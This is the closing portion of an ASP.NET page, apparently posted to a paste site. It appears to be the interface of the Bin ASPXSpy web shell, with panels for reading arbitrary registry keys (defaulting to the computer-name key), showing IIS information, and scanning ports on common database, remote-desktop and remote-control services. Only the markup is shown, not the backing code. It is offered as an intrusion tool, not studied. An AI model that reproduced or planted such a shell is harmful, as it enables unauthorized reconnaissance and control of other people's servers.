  1528. <div style="text-align:left">
  1529. <hr />
  1530. <asp:Label ID="Bin_SuresLabel" runat="server"></asp:Label>
  1531. </div>
  1532. </asp:Panel>
  1533. <asp:Panel ID="Bin_IISPanel" runat="server" Width="763px"><div style="text-align:left">
  1534. <hr />
  1535. <asp:Label ID="Bin_iisLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label>&nbsp;</div></asp:Panel>
  1536. <asp:Panel ID="Bin_RegPanel" runat="server" Width="763px"><hr /><div style="text-align:left">
  1537. KEY :&nbsp; &nbsp;<asp:TextBox ID="Bin_KeyTextBox" runat="server" Width="595px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br />
  1538. VALUE :
  1539. <asp:TextBox ID="Bin_ValueTextBox" runat="server" Width="312px">ComputerName</asp:TextBox>&nbsp;<asp:Button
  1540. ID="Bin_RegreadButton" runat="server" Text="Read" OnClick="Bin_RegreadButton_Click" /><br />
  1541. <asp:Label ID="Bin_RegresLabel" runat="server"></asp:Label><hr /></div></asp:Panel>
  1542. <asp:Panel ID="Bin_PortPanel" runat="server" Width="763px">
  1543. <hr /><div style="text-align:left">
  1544. IP :
  1545. <asp:TextBox ID="Bin_ScanipTextBox" runat="server" Width="194px">127.0.0.1</asp:TextBox>
  1546. PORT :
  1547. <asp:TextBox ID="Bin_PortsTextBox" runat="server" Width="356px">21,80,1433,3306,3389,4899,5631,43958,65500</asp:TextBox>
  1548. <asp:Button ID="Bin_ScancmdButton" runat="server" Text="Scan" OnClick="Bin_ScancmdButton_Click" /><br />
  1549. <asp:Label ID="Bin_ScanresLabel" runat="server"></asp:Label></div><hr /></asp:Panel>
  1550.  
  1551. </div></form>
  1552. </body>
  1553. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement